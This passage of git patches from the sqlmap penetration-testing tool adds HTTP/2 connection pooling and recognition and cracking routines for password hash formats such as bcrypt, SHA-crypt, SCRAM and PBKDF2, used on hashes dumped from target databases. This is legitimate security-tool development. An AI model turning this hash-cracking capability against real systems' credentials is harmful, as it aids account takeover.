self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535))) + except Exception: + self.close() + raise + + def close(self): + self.usable = False + try: + self.sock.close() + except Exception: + pass + + def __del__(self): + self.close() - # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window - sock.sendall(CONNECTION_PREFACE) - sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) - sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535))) + def exchange(self, method, path, authority, headers, body, timeout): + if not self.usable: + raise IOError("HTTP/2 connection no longer usable") + + sid = self.next_sid + self.next_sid += 2 + if self.next_sid >= BIG_WINDOW: # stream-id space nearly exhausted -> retire after this + self.usable = False + self.sock.settimeout(timeout) req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))] for k, v in (headers or {}).items(): req.append((_tob(k).lower(), _tob(v))) hblock = Encoder().encode(req) - sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), 1, hblock)) + self.sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, hblock)) if body: - sock.sendall(encode_frame(DATA, FLAG_END_STREAM, 1, _tob(body))) + self.sock.sendall(encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body))) - dec = Decoder() header_block, resp_headers, resp_body, done = b"", None, bytearray(), False while not done: - ftype, flags, sid, payload = _read_frame(sock) + ftype, flags, fsid, payload = _read_frame(self.sock) if ftype == SETTINGS: if not (flags & FLAG_ACK): - sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) elif ftype == PING: if not (flags & FLAG_ACK): - sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) elif ftype == GOAWAY: - done = True - elif ftype == RST_STREAM and sid == 1: + self.usable = False # server won't accept new streams -> retire connection + last_sid = (struct.unpack("!I", payload[4:8])[0] & 0x7fffffff) if len(payload) >= 8 else 0 + if sid > last_sid: # our stream was not processed -> safe to retry fresh + raise _UnprocessedStream("GOAWAY (last stream %d) before stream %d was processed" % (last_sid, sid)) + elif ftype == RST_STREAM and fsid == sid: + self.usable = False raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0]) - elif ftype in (HEADERS, CONTINUATION) and sid == 1: + elif ftype in (HEADERS, CONTINUATION) and fsid == sid: p = payload if ftype == HEADERS: if flags & FLAG_PADDED: @@ -477,17 +520,17 @@ def h2_request(host, port=443, method="GET", path="/", authority=None, headers=N p = p[5:] header_block += p if flags & FLAG_END_HEADERS: - resp_headers = dec.decode(header_block) + resp_headers = self.dec.decode(header_block) if flags & FLAG_END_STREAM: done = True - elif ftype == DATA and sid == 1: + elif ftype == DATA and fsid == sid: p = payload if flags & FLAG_PADDED: p = p[1:len(p) - bytearray(payload)[0]] resp_body += p if payload: # replenish stream + connection windows - sock.sendall(encode_frame(WINDOW_UPDATE, 0, 1, struct.pack("!I", len(payload)))) - sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) if flags & FLAG_END_STREAM: done = True status = None @@ -496,9 +539,50 @@ def h2_request(host, port=443, method="GET", path="/", authority=None, headers=N status = int(v) break return status, resp_headers, bytes(resp_body) + +# Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model +# (one connection per host per thread) so streams never interleave across threads and time-based +# measurements stay clean. +_h2_pool = threading.local() + +def _pooledExchange(host, port, proxy, method, path, authority, headers, body, timeout): + pool = getattr(_h2_pool, "connections", None) + if pool is None: + pool = _h2_pool.connections = {} + key = (host, port, proxy) + + conn = pool.get(key) + reused = conn is not None and conn.usable + if not reused: + if conn is not None: + conn.close() + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + + try: + result = conn.exchange(method, path, authority, headers, body, timeout) + except _UnprocessedStream: # explicitly not processed -> always safe to retry fresh + conn.close(); pool.pop(key, None) + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + result = conn.exchange(method, path, authority, headers, body, timeout) + except (socket.error, ssl.SSLError, IOError): + conn.close(); pool.pop(key, None) + if reused: # stale keep-alive socket (server closed idle conn) -> reopen once + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + result = conn.exchange(method, path, authority, headers, body, timeout) + else: + raise + if not conn.usable: # GOAWAY / id-exhaustion mid-exchange -> don't keep it pooled + conn.close(); pool.pop(key, None) + return result + +def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None): + """One-shot request on a throwaway connection (kept for direct/back-compat callers; the engine path + goes through open_url -> the reusing pool).""" + conn = _H2Connection(host, port, proxy, timeout) + try: + return conn.exchange(method, path, authority or host, headers, body, timeout) finally: - try: sock.close() - except Exception: pass + conn.close() class H2Response(object): @@ -567,8 +651,8 @@ def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redi path = parts.path or "/" if parts.query: path += "?" + parts.query - status, resp_headers, resp_body = h2_request(parts.hostname, parts.port or 443, method=method, path=path, - authority=parts.netloc.split("@")[-1], headers=req_headers, body=body, timeout=timeout, proxy=proxy) + status, resp_headers, resp_body = _pooledExchange(parts.hostname, parts.port or 443, proxy, method, path, + parts.netloc.split("@")[-1], req_headers, body, timeout) if follow_redirects and status in REDIRECT_CODES: location = None for name, value in (resp_headers or []): From d6299fc4f5c36248a25ef9d7b159acbf2b24d673 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 16:29:40 +0200 Subject: [PATCH 673/853] Adding more supported hash algorithms --- data/txt/sha256sums.txt | 12 +- data/xml/queries.xml | 4 +- lib/core/enums.py | 11 ++ lib/core/option.py | 9 + lib/core/settings.py | 2 +- lib/request/comparison.py | 9 +- lib/utils/hash.py | 364 +++++++++++++++++++++++++++++++++++++- 7 files changed, 394 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 228cd713c73..17ec054954e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -45aa5280edc0412a217498bd229651ff9c55afab44d555507ee5bdc27531de82 data/xml/queries.xml +ff99497d2f04a872e16e799183e6c8f2e16f3e69cddb336e29162f1e92ae45c7 data/xml/queries.xml 127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -177,19 +177,19 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump.py -6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py +c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py -0235aa27d0c8cfe54180f2a003f749065d11bf167923a8189844efd45469c612 lib/core/option.py +ca3d9185aa5418cdfc79f43beb4ad6f6503496763f349ecef57fff278bcfc8c8 lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0b0a122d3ae6f64c2af2aab91b72ecf6573e9cc1fd250f41ba441be60d8dd464 lib/core/settings.py +5fa3141353791446463a215a5481048346aa0f1dde08f1fe8fa6834a22aa23c1 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -211,7 +211,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py a988c659e0c642e4f3dc4034118b5a6e138a522394ff2eda5bdc3c8495ea2207 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py -9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py +4fd1957e31b14e7670b09d85a634fa6772a1cd90babe149f39a1c945fe306f0a lib/request/comparison.py 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py @@ -263,7 +263,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py -71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py +f1f29dee813d08be77023543c45a4f3621ed26b1bbc133c020b618256663baaf lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py b57aa20b7a6fd8afd07bae773fd03f8acb05655ee605362b220e65a0664dc38d lib/utils/library.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 449b6cb9be0..61dc69d9ed5 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -35,8 +35,8 @@ - - + + diff --git a/lib/core/enums.py b/lib/core/enums.py index 479b9f6826b..727eaed88fc 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -180,6 +180,8 @@ class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' + POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z' + MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z' MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z' MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' @@ -192,6 +194,8 @@ class HASH(object): SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' + SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z' + SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' @@ -205,6 +209,13 @@ class HASH(object): SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z' DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z' + DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z' + WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z' + WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z' + BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z' + ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z' MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' diff --git a/lib/core/option.py b/lib/core/option.py index 135643512f6..e69067f68f5 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -870,6 +870,15 @@ def _setTamperingFunctions(): warnMsg += "a good idea" logger.warning(warnMsg) + # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines + # (--graphql/--nosql/--ldap/--xpath/--ssti) do not run payloads through the tampering hook, so + # warn instead of silently ignoring the user's '--tamper' + if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)): + engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti") if conf.get(_)) + warnMsg = "tamper scripts are applied to SQL injection payloads only and " + warnMsg += "will be ignored by the '--%s' engine" % engine + logger.warning(warnMsg) + if resolve_priorities and priorities: priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True) kb.tamperFunctions = [] diff --git a/lib/core/settings.py b/lib/core/settings.py index 55c7bac9874..d39b04e5201 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.15" +VERSION = "1.10.7.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index e3278297395..d2e8bac0790 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -39,15 +39,18 @@ def _isJsonResponse(headers): """ - Returns True if the response Content-Type indicates a JSON document (e.g. 'application/json' - or a structured suffix like 'application/vnd.api+json') + Returns True if the response Content-Type plausibly indicates a JSON document - i.e. the canonical + 'application/json', the common misservings ('text/json', 'application/javascript', ...), or a + structured suffix like 'application/vnd.api+json'. Being liberal here is safe: jsonMinimize() returns + None for anything that is not actually parseable JSON, so a mislabelled body simply falls back to the + normal text comparison. """ retVal = False if headers: contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower() - retVal = contentType == "application/json" or contentType.endswith("+json") + retVal = contentType in ("application/json", "text/json", "application/javascript", "text/javascript", "application/x-javascript") or contentType.endswith("+json") return retVal diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 11831534f84..b26388265dd 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -19,19 +19,27 @@ from thirdparty.pydes.pyDes import CBC from thirdparty.pydes.pyDes import des +try: + from hashlib import scrypt as _scrypt # not available on Python 2 (added in 3.6) +except ImportError: + _scrypt = None + _multiprocessing = None import base64 import binascii import gc +import hmac import math import os import re +import struct import tempfile import time import zipfile from hashlib import md5 +from hashlib import pbkdf2_hmac from hashlib import sha1 from hashlib import sha224 from hashlib import sha256 @@ -146,6 +154,21 @@ def postgres_passwd(password, username, uppercase=False): return retVal.upper() if uppercase else retVal.lower() +def postgres_scram_passwd(password, salt, iterations, **kwargs): # since version '10' + """ + Reference(s): + https://www.rfc-editor.org/rfc/rfc5803 + + >>> postgres_scram_passwd(password='testpass', salt='c2FsdHNhbHRzYWx0', iterations=4096) + 'SCRAM-SHA-256$4096:c2FsdHNhbHRzYWx0$AzDKnszrCJPfdiFrFLbdoiqdocK4KWksHHcs3Jx7R5w=:lmWF1kOl/PbOyhpnGuBGzKyuP3XYMK6whWukBxHiHLc=' + """ + + salted = pbkdf2_hmac("sha256", getBytes(password), decodeBase64(salt, binary=True), iterations) + stored_key = sha256(hmac.new(salted, b"Client Key", sha256).digest()).digest() + server_key = hmac.new(salted, b"Server Key", sha256).digest() + + return "SCRAM-SHA-256$%d:%s$%s:%s" % (iterations, salt, getText(base64.b64encode(stored_key)), getText(base64.b64encode(server_key))) + def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' """ Reference(s): @@ -439,6 +462,243 @@ def _encode64(value, count): return getText(magic + salt + b'$' + getBytes(hash_)) +# SHA-crypt (Drepper) final-permutation byte orders for the 32/64-byte digests +_SHA256_CRYPT_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30)) +_SHA512_CRYPT_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,)) + +def _shaCryptDigest(password, salt, rounds, digestmod, order): + dsize = digestmod().digest_size + + B = digestmod(password + salt + password).digest() + + ctx = digestmod(password + salt) + cnt = len(password) + while cnt > dsize: + ctx.update(B) + cnt -= dsize + ctx.update(B[:cnt]) + + i = len(password) + while i: + ctx.update(B if i & 1 else password) + i >>= 1 + A = ctx.digest() + + dp = digestmod() + for _ in xrange(len(password)): + dp.update(password) + DP = dp.digest() + P = DP * (len(password) // dsize) + DP[:len(password) % dsize] + + ds = digestmod() + for _ in xrange(16 + (A[0] if isinstance(A[0], int) else ord(A[0]))): + ds.update(salt) + DS = ds.digest() + S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize] + + C = A + for i in xrange(rounds): + c = digestmod() + c.update(P if i & 1 else C) + if i % 3: + c.update(S) + if i % 7: + c.update(P) + c.update(C if i & 1 else P) + C = c.digest() + + retVal = "" + for group in order: + value = 0 + for idx in group: + value = (value << 8) | (C[idx] if isinstance(C[idx], int) else ord(C[idx])) + for _ in xrange((len(group) * 8 + 5) // 6): + retVal += ITOA64[value & 0x3f] + value >>= 6 + + return retVal + +def sha2_crypt_passwd(password, salt, magic="$5$", **kwargs): + """ + Reference(s): + https://www.akkadia.org/drepper/SHA-crypt.txt + + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$5$') + '$5$saltstring$rn/td51LeVLXb2RR8WT672g4QhAuobh1gQQFGFiRCT.' + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$6$') + '$6$saltstring$Oxduy3vBZ8CEBR5mER96ach5GlbbBT1Oz5g1UNdPqomx5bB1.IwS1ZFoW8fpb0xvz/BCS7.LzpkW7GAFOW9yC.' + """ + + rounds, saltstr = 5000, salt + if salt.startswith("rounds="): + prefix, saltstr = salt.split('$', 1) + rounds = int(prefix[len("rounds="):]) + + order, digestmod = (_SHA256_CRYPT_ORDER, sha256) if magic == "$5$" else (_SHA512_CRYPT_ORDER, sha512) + digest = _shaCryptDigest(getBytes(password), getBytes(saltstr)[:16], rounds, digestmod, order) + + return "%s%s$%s" % (magic, salt, digest) + +def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'caching_sha2_password' (sha256crypt, 20-byte salt) + """ + Reference(s): + https://hashcat.net/wiki/doku.php?id=example_hashes + + >>> mysql_sha2_passwd(password='hashcat', salt=decodeHex('F9CC98CE08892924F50A213B6BC571A2C11778C5'), rounds=5000, prefix='$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*') + '$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*625479393559393965414D45316477456B484F41316E64484742577A2E3162785353526B7554584647562F' + """ + + digest = _shaCryptDigest(getBytes(password), bytes(salt), rounds, sha256, _SHA256_CRYPT_ORDER) + + return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper()) + +# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi +BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + +_bcryptState = None + +def _bcryptInitState(): + global _bcryptState + + if _bcryptState is None: + count = 18 + 4 * 256 + ndigits = count * 8 + prec = ndigits + 16 + one = 1 << (4 * prec) + + def _arctan(inv): + total = term = one // inv + square = inv * inv + i = 1 + while term: + term //= square + total += (term // (2 * i + 1)) * (-1 if i % 2 else 1) + i += 1 + return total + + frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits)) + hexstr = "%0*x" % (ndigits, frac) + words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)] + _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)]) + + return _bcryptState + +def _bcryptEncipher(P, S, L, R): + for i in xrange(16): + L ^= P[i] + R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff + L, R = R, L + L, R = R, L + return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff + +def _bcryptStream(data, offset): + word = 0 + for _ in xrange(4): + word = ((word << 8) | data[offset[0]]) & 0xffffffff + offset[0] = (offset[0] + 1) % len(data) + return word + +def _bcryptExpand(P, S, data, key): + koffset = [0] + for i in xrange(18): + P[i] ^= _bcryptStream(key, koffset) + + doffset = [0] + L = R = 0 + for i in xrange(0, 18, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + P[i], P[i + 1] = L, R + + for b in xrange(4): + for k in xrange(0, 256, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + S[b][k], S[b][k + 1] = L, R + +def _bcryptBase64(data): + retVal = "" + i = 0 + while i < len(data): + c = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f] + c = (c & 3) << 4 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + d = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f] + c = (d & 0x0f) << 2 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + e = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f] + retVal += BCRYPT_ITOA64[e & 0x3f] + return retVal + +def _bcryptUnbase64(value, length): + retVal = bytearray() + positions = [BCRYPT_ITOA64.index(_) for _ in value] + i = 0 + while i < len(positions) and len(retVal) < length: + c1 = positions[i] + c2 = positions[i + 1] if i + 1 < len(positions) else 0 + retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff) + if len(retVal) >= length: + break + c3 = positions[i + 2] if i + 2 < len(positions) else 0 + retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff) + if len(retVal) >= length: + break + c4 = positions[i + 3] if i + 3 < len(positions) else 0 + retVal.append((((c3 & 3) << 6) | c4) & 0xff) + i += 4 + return retVal[:length] + +def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): + """ + Reference(s): + https://www.openwall.com/crypt/ + + >>> bcrypt_passwd(password='U*U', salt='CCCCCCCCCCCCCCCCCCCCC.', magic='$2a$', cost=5) + '$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' + """ + + P0, S0 = _bcryptInitState() + P, S = list(P0), [list(_) for _ in S0] + + key = bytearray(getBytes(password) + b"\0") + saltbytes = _bcryptUnbase64(salt, 16) + + _bcryptExpand(P, S, saltbytes, key) + for _ in xrange(1 << cost): + _bcryptExpand(P, S, b"", key) + _bcryptExpand(P, S, b"", saltbytes) + + ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt")) + for _ in xrange(64): + for j in xrange(0, 6, 2): + ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1]) + + digest = bytearray(struct.pack(">6I", *ctext))[:23] + + return "%s%02d$%s%s" % (magic, cost, salt, _bcryptBase64(digest)) + +def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))' + """ + Reference: https://make.wordpress.org/core/2025/02/17/wordpress-6-8-will-use-bcrypt-for-password-hashing/ + + >>> wordpress_bcrypt_passwd(password='hashcat', salt='lzlQrRRhLSjz486bA9CKHu', magic='$2y$', cost=10) + '$wp$2y$10$lzlQrRRhLSjz486bA9CKHuZRPoKz4uviT251Sq/r5OzKUBbrXwnQW' + """ + + prehashed = getText(base64.b64encode(hmac.new(b"wp-sha384", getBytes(password.strip()), sha384).digest())) + + return "$wp%s" % bcrypt_passwd(prehashed, salt, magic, cost) + def joomla_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/10428239 @@ -469,6 +729,56 @@ def django_sha1_passwd(password, salt, **kwargs): return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest()) +def django_pbkdf2_sha256_passwd(password, salt, iterations, **kwargs): + """ + Reference: https://github.com/django/django/blob/main/django/contrib/auth/hashers.py + + >>> django_pbkdf2_sha256_passwd(password='testpass', salt='salt', iterations=1000) + 'pbkdf2_sha256$1000$salt$N3DLJstEJ6mIjp0fq/KRcHmJ/4FtMzHYmW9fBHci/aI=' + """ + + dk = pbkdf2_hmac("sha256", getBytes(password), getBytes(salt), iterations) + + return "pbkdf2_sha256$%d$%s$%s" % (iterations, salt, getText(base64.b64encode(dk))) + +def werkzeug_pbkdf2_passwd(password, salt, iterations, digestmod="sha256", **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> werkzeug_pbkdf2_passwd(password='testpass', salt='salt', iterations=1000, digestmod='sha256') + 'pbkdf2:sha256:1000$salt$3770cb26cb4427a9888e9d1fabf291707989ff816d3331d8996f5f047722fda2' + """ + + dk = pbkdf2_hmac(digestmod, getBytes(password), getBytes(salt), iterations) + + return "pbkdf2:%s:%d$%s$%s" % (digestmod, iterations, salt, getText(encodeHex(dk, binary=False))) + +def werkzeug_scrypt_passwd(password, salt, N, r, p, **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> 